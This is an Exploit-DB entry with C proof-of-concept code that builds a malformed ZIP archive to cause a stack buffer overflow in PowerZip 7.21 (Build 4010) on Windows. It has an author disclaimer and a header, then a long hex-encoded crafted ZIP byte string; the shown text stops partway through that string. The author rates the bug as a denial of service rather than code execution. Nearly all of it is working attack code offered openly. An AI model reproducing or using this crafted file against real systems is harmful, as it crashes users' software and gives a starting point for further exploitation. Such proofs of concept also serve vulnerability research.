Exploit-DB #13921
Description: PowerZip 7.21 (Build 4010) - Stack Buffer Overflow
Type: dos
Platform: windows
Date: 2010-06-18
Author: fl0 fl0w

Exploit:
/*
   DISCLAIMER
    
   THIS PROGRAM IS NOT INTENDED TO BE USED ON OTHER COMPUTERS AND IT IS DESTINED FOR PERSONAL RESEARCH ONLY!!!!
   The programs are provided as is without any guarantees or warranty.
   The author is not responsible for any damage or losses of any kind caused by the use or misuse of the programs.
   The author is under no obligation to provide support, service, corrections, or upgrades to the free software programs.
    
   Author:           fl0 fl0w
   Software:         PowerZip 
   Dl link:          http://www.powerzip.biz/down.aspx/PowerZipSetup.exe
    
   Afected Versions: 7.21 (Build 4010)
   Remote:           No
   Local:            Yes
   Class:            Boundary Condition Error
   Bug:              Stack buffer overflow
   Exploitable:      No because it makes a exit call 
   Afected software: Windows 7, Windows Vista, Windows XP, Windows 2000, Windows Me, Windows 98 or Windows NT 4.0 
   Fix:              No fix   
   Compiler:         gcc version 3.4.4 (cygming special, gdc 0.12, using dmd 0.125) 
   Advice:           To avoid any problems under Windows use cygwin console.
                     Play with the file and maybe you can get other exception.
   The .C code:
 */
#include<stdio.h>
	  	                        
#define FILENAME "Zpoc.zip"			  
#define VER "7.21 (Build 4010)" 
#define POCNAME "-PowerZip buffer overflow PoC" VER "\n-File built!!"
#define CHAR_SIZE 1			 
#define ZFILE		"\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\xb7\xac\xce\x34\x00\x00\x00\x00\x00\x00" \
                    "\x00\x00\x00\x00\x00\x00\x14\x08\x00\x00\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32" \
                    "\x32\x32\x32\x32\x32\x32\x32\x32\x66\x66\x64\x73\x75\x69\x62\x7a\x65\x6f\x69\x76" \
                    "\x7a\x20\x66\x68\x65\x6f\x20\x79\x66\x6f\x7a\x69\x61\x71\x20\x6f\x69\x65\x61\x7a" \
                    "\x75\x20\x7a\x71\x6f\x66\x68\x75\x65\x7a\x71\x6f\x69\x65\x6e\x66\x65\x7a\x6a\x75" \
                    "\x71\x63\x62\x75\x71\x70\x7a\x61\x7a\x69\x27\x74\x75\x72\x65\x6f\x7a\x6e\x62\x69" \
                    "\x6a\x75\x76\x62\x67\x73\x64\x75\x69\x71\x79\x72\x7a\x61\x6a\x20\x62\x63\x73\x64" \
                    "\x6f\x70\x69\x75\x72\x79\x7a\x6f\x65\x61\x71\x6e\x62\x69\x6f\x64\x73\x79\x72\x66" \
                    "\x65\x7a\x71\x6f\x69\x70\x62\x75\x66\x63\x73\x71\x69\x75\x79\x72\x61\x7a\x62\x69" \
                    "\x6a\x65\x66\x62\x68\x73\x75\x69\x71\x76\x64\x73\x71\x69\x6a\x62\x66\x65\x7a\x71" \
                    "\x75\x61\x66\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" \
                    "\x64\x64\x68\x68\x68\x68\x68\x68\x68\x68\x68\x68\x68\x68\x68\x68\x68\x75\x75\x75" \
                    "\x75\x75\x75\x75\x75\x75\x75\x75\x68\x76\x71\x24\x69\x66\x72\x7a\x65\x6f\x62\x76" \
                    "\x69\x6f\x7a\x65\x71\x66\x74\x72\x65\x6f\x7a\x71\x6a\x6e\x62\x76\x64\x73\x70\x69" \
                    "\x79\x75\x66\x71\x6f\x65\x69\x68\x66\x72\x6f\x75\x65\x7a\x68\x61\x72\x62\x20\x69" \
                    "\x76\x66\x64\x73\x70\x6f\x68\x6a\x72\x65\x71\x6f\x75\x68\x66\x7a\x65\x61\x71\x75" \
                    "\x68\x76\x71\x6f\x75\x68\x65\x66\x6f\x71\x73\x69\x6a\x68\x64\x6f\x73\x71\x68\x76" \
                    "\x64\x6f\x69\x68\x7a\x61\x71\x6f\x65\x69\x68\x66\x64\x73\x6f\x69\x75\x68\x76\x63" \
                    "\x78\x77\x69\x75\x68\x66\x71\x6f\x75\x69\x68\x76\x77\x78\x6f\x69\x68\x66\x64\x73" \
                    "\x71\x6f\x69\x68\x76\x64\x73\x71\x6f\x69\x75\x68\x7a\x67\x66\x6f\x69\x68\x73\x64" \
                    "\x71\x6f\x69\x75\x68\x67\x7a\x65\x71\x6f\x69\x68\x67\x73\x71\x6f\x69\x68\x67\x7a" \
                    "\x61\x65\x7a\x72\x75\x79\x61\x75\x79\x74\x61\x65\x70\x69\x75\x79\x55\x59\x54\x4f" \
                    "\x5a\x52\x45\x50\x49\x48\x47\x41\x5a\x55\x59\x56\x44\x53\x4f\x49\x59\x54\x41\x50" \
                    "\x4f\x49\x55\x45\x59\x52\x49\x55\x45\x5a\x59\x47\x42\x4b\x4a\x43\x58\x4e\x4b\x56" \
                    "\x4e\x4b\x43\x58\x42\x57\x56\x4b\x4a\x4e\x42\x43\x58\x48\x42\x4b\x4a\x44\x48\x46" \
                    "\x4f\x49\x48\x5a\x45\x52\x4f\x49\x55\x48\x45\x5a\x55\x49\x4f\x41\x42\x45\x5a\x55" \
                    "\x49\x42\x47\x55\x49\x56\x43\x50\x4c\x44\x53\x47\x57\x4b\x52\x54\x42\x4e\x49\x55" \
                    "\x43\x49\x55\x4f\x51\x45\x42\x48\x52\x55\x49\x59\x44\x46\x51\x50\x5a\x49\x55\x45" \
                    "\x52\x50\x49\x55\x44\x59\x46\x54\x50\x41\x49\x5a\x55\x45\x59\x52\x5a\x45\x55\x48" \
                    "\x52\x54\x49\x55\x50\x56\x58\x57\x4b\x4a\x43\x4e\x48\x42\x47\x50\x46\x4f\x49\x55" \
                    "\x50\x41\x49\x52\x59\x45\x5a\x4f\x41\x49\x54\x59\x38\x37\x33\x32\x39\x35\x36\x35" \
                    "\x39\x34\x38\x33\x32\x36\x35\x46\x53\x34\x38\x59\x46\x44\x53\x39\x38\x59\x55\x56" \
                    "\x47\x30\x39\x38\x51\x59\x55\x52\x30\x39\x38\x34\x59\x35\x32\x33\x39\x38\x41\x59" \
                    "\x39\x46\x38\x45\x51\x59\x5a\x35\x39\x38\x59\x36\x39\x38\x46\x47\x59\x39\x38\x51" \
                    "\x59\x39\x47\x46\x44\x53\x55\x59\x30\x39\x48\x34\x5a\x48\x33\x37\x38\x35\x32\x33" \
                    "\x31\x42\x34\x47\x38\x30\x47\x46\x44\x53\x55\x49\x42\x56\x51\x49\x55\x4f\x59\x50" \
                    "\x52\x39\x5a\x48\x46\x44\x53\x51\x55\x49\x47\x46\x47\x44\x55\x53\x53\x53\x53\x53" \
                    "\x45\x47\x46\x39\x32\x47\x35\x33\x34\x55\x47\x46\x39\x49\x53\x50\x47\x42\x55\x54" \
                    "\x50\x5a\x39\x38\x59\x35\x33\x41\x41\x42\x43\x43\x46\x52\x45\x43\x43\x45\x54\x52" \
                    "\x45\x5a\x47\x52\x46\x44\x53\x49\x4f\x5a\x48\x45\x52\x42\x4e\x4f\x56\x46\x44\x53" \
                    "\x4f\x49\x52\x48\x54\x4f\x5a\x49\x4e\x46\x47\x44\x4b\x4e\x46\x43\x58\x4c\x4b\x59" \
                    "\x89\x05\x8a\x9b\x98\x98\x98\x4f\x49\x49\x49\x49\x49\x49\x51\x5a\x56\x54\x58\x36" \
                    "\x33\x30\x56\x58\x34\x41\x30\x42\x36\x48\x48\x30\x42\x33\x30\x42\x43\x